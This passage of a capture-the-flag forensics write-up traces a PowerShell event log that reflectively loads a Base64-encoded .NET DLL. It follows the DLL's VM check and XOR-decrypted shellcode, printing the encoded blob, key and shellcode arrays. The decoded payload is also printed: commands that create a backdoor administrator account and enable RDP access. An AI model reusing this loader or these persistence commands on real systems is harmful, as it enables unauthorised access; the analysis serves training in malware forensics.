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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAMAAAAqDIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
$asm = [Reflection.Assembly]::Load($bytes)
$method = $asm.GetType("SecurityUpdate.Updater")
$method::run()</Data>
<Data Name="ScriptBlockId">40d0760f-c12b-4652-8704-6e5cfdd2456d</Data>
<Data Name="Path"></Data>
</EventData>
</Event>
Based on the PowerShell that runs, we'll decode from Base64 then load it as an assembly block. It then executes the "SecurityUpdate.Updater" function. Tossing the blob into CyberChef's Base64 decode recipe, we see the magical
This program cannot be run in DOS mode
along with the characteristic
.text and
.reloc sections. To verify if this is an .EXE or a .DLL, we check both
file rust_loader
and
exiftool rust_loader
:
rust_loader: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
ExifTool Version Number : 12.40
File Name : rust_loader
Directory : .
File Size : 8.5 KiB
File Modification Date/Time : 2023:03:25 13:41:18-04:00
File Access Date/Time : 2023:03:25 13:41:29-04:00
File Inode Change Date/Time : 2023:03:25 13:41:25-04:00
File Permissions : -rw-rw-r--
File Type : Win32 DLL
File Type Extension : dll
MIME Type : application/octet-stream
Machine Type : Intel 386 or later, and compatibles
Time Stamp : 2090:12:08 03:14:33-05:00
Image File Characteristics : Executable, Large address aware, DLL
PE Type : PE32
Linker Version : 48.0
Code Size : 6656
Initialized Data Size : 1536
Uninitialized Data Size : 0
Entry Point : 0x32aa
OS Version : 4.0
Image Version : 0.0
Subsystem Version : 6.0
Subsystem : Windows command line
File Version Number : 1.0.0.0
Product Version Number : 1.0.0.0
File Flags Mask : 0x003f
File Flags : (none)
File OS : Win32
Object File Type : Dynamic link library
File Subtype : 0
Language Code : Neutral
Character Set : Unicode
Comments :
Company Name :
File Description : test_dll
File Version : 1.0.0.0
Internal Name : test_dll.dll
Legal Copyright : Copyright © 2023
Legal Trademarks :
Original File Name : test_dll.dll
Product Name : test_dll
Product Version : 1.0.0.0
Assembly Version : 1.0.0.0
All of our metadata points concludes that this is a DLL, not an EXE.
Immediately, we toss the DLL into DNSpy on a Windows machine to decompile it. This gives us the class
SecurityUpdate and the function
Updater, which we know from the PowerShell blob is what we want to look at.
Firstly, our module will test if it exists in a VM by making a WMI call:
Outside of our VM, we can look at the table ourselves on our local machine. In the Manufacturer column where mine states
ASUS, it is expecting VMWare or VirtualBox. If either exist, the script will not execute.
Following the VM test, the script does some math to XOR the shellcode appended to the bottom of the DLL against the contents of "
key". As we know from the PowerShell flags, we're going to load it as shellcode and execute.
The only part of this that we're actually interested in is the math itself:
This is what actually takes
shellcode and XORs it against the contents of
key. Everything following is intended to execute the shellcode. Rather than do the legwork to pull this apart by hand, I had C# interpret it and output the results:
using System;
public class Updater
{
public static void Main()
{
Console.WriteLine(Updater.shellcode);
for (int i = 0; i < Updater.shellcode.Length; i++)
{
Updater.shellcode[i] = (Updater.shellcode[i] ^ Updater.key[i % 32]);
Console.WriteLine(Updater.shellcode[i]);
}
}
private static byte[] key = new byte[]
{190, 148, 165, 241, 158, 115, 44, 159, 247, 130, 138, 33, 108, 203, 195, 221, 202, 179, 173, 72, 204, 54, 105, 202, 77, 221, 232, 75, 67, 65, 42, 201};
private static int[] shellcode = new int[]
{66, 124, 39, 241, 158, 115, 76, 22, 18, 179, 74, 69, 231, 155, 243, 86, 152, 191, 38, 26, 216, 189, 27, 226, 66, 106, 162, 109, 114, 190, 134, 245, 223, 232, 167, 221, 190, 178, 227, 146, 246, 69, 104, 211, 62, 156, 72, 143, 218, 56, 231, 116, 71, 122, 120, 178, 174, 149, 233, 154, 18, 202, 115, 233, 191, 71, 46, 184, 134, 144, 22, 214, 124, 182, 1, 32, 186, 250, 60, 113, 11, 124, 160, 73, 11, 14, 137, 191, 187, 222, 149, 179, 120, 60, 14, 188, 90, 204, 46, 169, 186, 114, byte.MaxValue, 249, 124, 142, 193, 170, 52, 215, 194, 14, 65, 183, 38, 73, 28, 191, 45, 238, 105, 134, 179, 42, 26, 27, 123, 54, 94, 203, 250, 171, 21, 97, 199, 18, 170, 232, 139, 172, 233, 121, 195, 221, 202, 227, 197, 121, 71, 89, 238, 53, 152, 102, 24, 254, 225, 23, 66, 111, 43, 41, 56, 14, 75, 79, 42, 227, 253, 2, 113, 193, 25, 206, 120, 154, 217, 193, 194, 34, 204, 101, 150, 31, 61, 178, 159, 46, 49, 50, 66, 172, 210, 248, 139, 148, 230, 22, 12, 178, 160, 235, 228, 69, 3, 188, 144, 169, 179, 223, 200, 104, 132, 95, 13, 174, 40, 179, 200, 102, 13, 46, 122, 187, 209, 242, 204, 157, 251, 83, 1, 218, 153, 225, 229, 69, 9, 175, 128, 178, 167, 222, 204, 38, 168, 22, 35, 139, 15, 170, 169, 12, 6, 0, 73, 190, 252, 238, 228, 185, 253, 50, 78, 232, 181, 251, 203, 102, 61, 138, 138, 156, 139, 138, 236, 11, 141, 119, 56, 189, 15, 171, 169, 12, 119, 0, 78, 174, 252, 248, 228, 185, 215, 50, 72, 222, 181, 215, 203, 102, 84, 138, 143, 140, 136, 231, 236, 15, 153, 119, 48, 189, 15, 236, 169, 3, 10, 0, 112, 152, 252, 192, 228, 185, 207, 50, 79, 248, 181, 242, 203, 102, 88, 138, 153, 170, 139, 212, 236, 11, 133, 119, 60, 189, 15, 236, 169, 3, 2, 0, 103, 190, 252, 237, 228, 183, 211, 50, 97, 232, 181, 232, 203, 105, 57, 138, 160, 186, 139, 201, 236, 14, 141, 119, 56, 139, 12, 236, 169, 3, 14, 0, 124, 190, byte.MaxValue, 227, 228, 185, 215, 50, 118, 222, 182, 234, 203, 98, 41, 138, 138, 186, 139, 212, 236, 11, 252, 119, 56, 155, 15, 167, 169, 13, 2, 0, 72, 136, 252, 252, 228, 182, 245, 50, 78, 248, 181, 215, 203, 102, 57, 138, 166, 156, 136, 131, 236, 11, 141, 119, 37, 155, 15, 154, 169, 12, 123, 0, 73, 174, 252, 254, 228, 182, 203, 50, 104, 206, 182, 201, 203, 100, 88, 138, 153, 140, 136, 128, 236, 11, 252, 119, 61, 139, 15, 171, 169, 12, 14, 0, 115, 152, 252, 231, 228, 183, 203, 50, 79, 232, 181, 238, 203, 105, 37, 138, 138, 156, 139, 218, 236, 13, 137, 119, 11, 173, 15, 236, 169, 12, 10, 0, 75, 152, 252, 238, 228, 178, 215, 50, 101, 222, 182, 246, 203, 103, 45, 138, 154, 140, 136, 201, 236, 0, 129, 119, 13, 189, 15, 171, 169, 3, 10, 0, 112, 136, byte.MaxValue, 243, 228, 178, 207, 50, 79, 222, 181, 234, 203, 105, 33, 138, 160, 170, 136, 128, 236, 15, 244, 119, 10, 173, 15, 182, 169, 8, 2, 0, 102, 152, 252, 209, 228, 182, 203, 50, 79, 232, 181, 232, 203, 105, 37, 138, 162, 140, 136, 196, 236, 0, 157, 119, 8, 155, 15, 171, 169, 12, 119, 0, 99, 136, byte.MaxValue, 253, 228, 180, 249, 50, 122, 222, 181, 193, 203, 105, 31, 138, 167, 170, 136, 201, 236, 15, 187, 119, 49, 189, 15, 171, 169, 3, 36, 0, 103, 152, 252, byte.MaxValue, 228, 181, 207, 50, 72, 222, 182, 250, 203, 101, 45, 138, 161, 186, 136, 213, 236, 12, 157, 119, 11, 173, 15, 182, 169, 13, 123, 0, 73, 174, 252, 165, 228, 185, 211, 50, 72, 222, 181, 183, 203, 103, 84, 138, 161, 140, 139, 201, 236, 15, 252, 119, 36, 139, 15, 164, 169, 3, 40, 0, 114, 190, byte.MaxValue, 164, 228, 185, 215, 50, 72, 222, 182, 250, 203, 102, 53, 138, 141, 156, 136, 217, 236, 0, 157, 119, 10, 189, 12, 181, 169, 8, 6, 0, 76, 152, byte.MaxValue, 253, 228, 176, 174, 50, 111, 248, 181, 214, 203, 102, 57, 138, 167, 156, 139, 199, 236, 13, 187, 119, 11, 189, 15, 183, 169, 12, 6, 0, 72, 136, 252, 194, 228, 185, 211, 50, 118, 206, 181, 251, 203, 98, 45, 138, 138, 186, 136, 241, 236, 15, 248, 119, 13, 155, 15, 180, 169, 12, 40, 0, 73, 190, byte.MaxValue, 253, 228, 178, 223, 50, 96, 206, 181, 192, 203, 102, 33, 138, 154, 170, 136, 197, 236, 0, 153, 119, 11, 173, 15, 237, 169, 14, 119, 0, 112, 152, 252, 166, 228, 182, 203, 50, 79, 248, 181, 196, 203, 105, 11, 138, 160, 156, 136, 195, 236, 0, 133, 119, 51, 155, 15, 167, 169, 8, 2, 0, 96, 136, 252, 164, 228, 185, 215, 50, 72, 206, 181, 238, 203, 98, 45, 138, 143, 140, 136, 226, 236, 15, 137, 119, 10, 189, 15, 167, 169, 3, 32, 0, 72, 190, 252, 237, 228, 182, 207, 50, 120, 248, 181, 238, 203, 105, 53, 138, 153, 140, 136, 202, 236, 13, 153, 119, 12, 139, 15, 170, 169, 12, 40, 0, 73, 174, 252, 248, 228, 185, 211, 50, 101, 222, 182, 233, 203, 105, 61, 138, 160, 186, 136, 130, 236, 15, 153, 119, 32, 139, 12, 169, 169, 13, 22, 0, 73, 190, 252, 248, 228, 185, 215, 50, 120, 206, 181, 234, 203, 105, 7, 138, 151, 186, 136, 197, 236, 0, 157, 119, 56, 189, 15, 178, 169, 12, 6, 0, 72, 174, 252, 250, 228, 182, 203, 50, 121, 222, 181, 234, 203, 105, 33, 138, 160, 170, 136, 128, 236, 15, 244, 119, 10, 173, 15, 182, 169, 8, 2, 0, 96, 136, 252, 164, 228, 185, 215, 50, 72, 206, 181, 238, 203, 98, 45, 138, 143, 140, 136, 226, 236, 15, 137, 119, 10, 189, 15, 167, 169, 3, 32, 0, 72, 190, 252, 237, 228, 182, 207, 50, 120, 248, 181, 244, 203, 105, 61, 138, 150, 186, 136, 223, 236, 0, 137, 119, 13, 155, 15, 173, 169, 3, 10, 0, 112, 152, 252, byte.MaxValue, 228, 178, 223, 50, 102, 222, 181, 239, 203, 102, 41, 138, 161, 156, 136, 201, 236, 15, 153, 119, 45, 155, 12, 150, 169, 14, 6, 0, 112, 136, 252, byte.MaxValue, 228, 178, 174, 50, 120, 222, 181, 244, 203, 102, 33, 138, 154, 140, 136, 192, 236, 13, 175, 119, 10, 173, 15, 171, 169, 3, 22, 0, 73, 136, 252, 218, 228, 182, 203, 50, 78, 206, 181, 235, 203, 102, 57, 138, 160, 186, 139, 212, 236, 11, 252, 119, 59, 189, 15, 164, 169, 12, 123, 0, 78, 152, 252, 227, 228, 178, 223, 50, 101, 248, 181, 192, 203, 102, 61, 138, 161, 140, 136, 195, 236, 15, 248, 119, 8, 155, 15, 167, 169, 3, 18, 0, 73, 174, 252, 252, 228, 185, 207, 50, 78, 232, 181, 251, 203, 105, 33, 138, 138, 186, 139, 212, 236, 11, 252, 119, 61, 155, 15, 177, 169, 12, 115, 0, 115, 174, 252, 248, 228, 185, 215, 50, 101, 222, 182, 235, 203, 100, 41, 138, 161, 186, 136, 130, 236, 15, 133, 119, 8, 155, 15, 167, 169, 8, 10, 0, 110, 152, byte.MaxValue, 223, 228, 176, 174, 50, 111, 248, 181, 214, 203, 102, 57, 138, 167, 156, 139, 199, 236, 13, 167, 119, 13, 139, 15, 177, 169, 12, 115, 0, 127, 136, 252, 237, 228, 182, 166, 50, 79, 222, 181, 238, 203, 105, 37, 138, 167, 156, 136, 134, 236, 11, 141, 119, 37, 155, 15, 140, 169, 12, 6, 0, 78, 136, 252, 251, 228, 178, 223, 50, 102, 232, 181, 203, 203, 100, 31, 138, 151, 156, 136, 253, 236, 12, 163, 119, 49, 139, 15, 137, 169, 3, 40, 0, 73, 190, 252, 164, 228, 182, 203, 50, 78, 206, 181, 225, 203, 100, 33, 138, 167, 140, 136, 202, 236, 0, 133, 119, 51, 155, 15, 168, 169, 3, 18, 0, 123, 190, 252, 226, 228, 182, 170, 50, 72, 222, 181, 251, 203, 102, 84, 138, 161, 156, 136, 231, 236, 15, 153, 119, 13, 139, 15, 190, 169, 14, 14, 0, 72, 190, 252, 225, 228, 185, 207, 50, 79, 248, 181, 244, 203, 102, 27, 138, 155, 156, 136, 230, 236, 15, 153, 119, 10, 173, 15, 169, 169, 12, 40, 0, 72, 174, 252, 252, 228, 182, 233, 50, 101, 222, 181, 214, 203, 102, 57, 138, 160, 186, 136, 129, 236, 15, 153, 119, 10, 173, 12, 179, 169, 8, 2, 0, 102, 152, 252, 219, 228, 182, 219, 50, 78, 206, 181, 238, 203, 98, 45, 138, 137, 170, 136, 222, 236, 13, 157, 119, 51, 155, 15, 168, 169, 3, 40, 0, 124, 136, 252, 192, 228, 180, 211, 50, 78, 232, 181, 247, 203, 102, 88, 138, 153, 140, 136, 217, 236, 0, 157, 119, 8, 155, 15, 171, 169, 12, 119, 0, 73, 190, byte.MaxValue, 250, 228, 178, 223, 50, 96, 206, 181, 213, 203, 102, 41, 138, 161, 156, 136, 130, 236, 15, 153, 119, 32, 139, 12, 170, 169, 10, 115, 0, 105, 174, 252, 214, 228, 182, 207, 50, 118, 222, 182, 246, 203, 100, 27, 138, 161, 170, 136, 217, 236, 15, 137, 119, 11, 139, 15, 149, 169, 3, 10, 0, 72, 190, 252, 165, 228, 185, 223, 50, 120, 206, 181, 238, 203, 102, 92, 138, 154, 186, 136, 223, 236, 0, 133, 119, 32, 139, 12, 169, 169, 14, 32, 0, 73, 174, 252, 226, 228, 185, 203, 50, 79, 222, 182, 229, 203, 98, 37, 138, 150, 186, 136, 223, 236, 15, 252, 119, 11, 189, 15, 237, 169, 12, 22, 0, 99, 136, 252, 209, 228, 182, 203, 50, 79, 232, 181, 240, 203, 105, 61, 138, 161, 170, 136, 196, 236, 11, 141, 119, 63, 155, 15, 167, 169, 12, 22, 0, 73, 174, 252, 238, 228, 178, 215, 50, 101, 222, 182, 246, 203, 100, 92, 138, 153, 140, 136, 199, 236, 15, 133, 119, 51, 155, 15, 164, 169, 8, 2, 0, 99, 174, 252, 214, 228, 182, 170, 50, 72, 206, 181, 235, 203, 102, 7, 138, 160, 170, 139, 218, 236, 9, 241, 11, 105};
}
The shellcode we've seen in previous challenges have simply been ASCII converted to decimal. Thus, if we set CyberChef to change decimal to ASCII on each line feed as the delimeter between characters, we get a PowerShell B64 blob finally!
If we decode from Base64 then remove null bytes, our output goes from
$.p.a.s.s.w.o.r.d.
to
$password
:
$password = ConvertTo-SecureString "Sup3rS3cur3P@5sW0rd!!" -AsPlainText -Force
New-LocalUser "Anubis" -Password $password -Description "HTB{wsl_ox1d4t10n_4nd_rusty_m3m0ry_4rt1f4cts!!}"
Set-LocalUser "Anubis" -AccountNeverExpires $true -PasswordNeverExpires $true -UserMayNotChangePassword $true -PasswordNotRequired $false
Add-LocalGroupMember -Group "Administrators" -Member "Anubis"
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name 'fDenyTSConnections' -Value 0
Add-LocalGroupMember -Group "Remote Desktop Users" -Member "Anubis"
FLAG!
HTB{wsl_ox1d4t10n_4nd_rusty_m3m0ry_4rt1f4cts!!}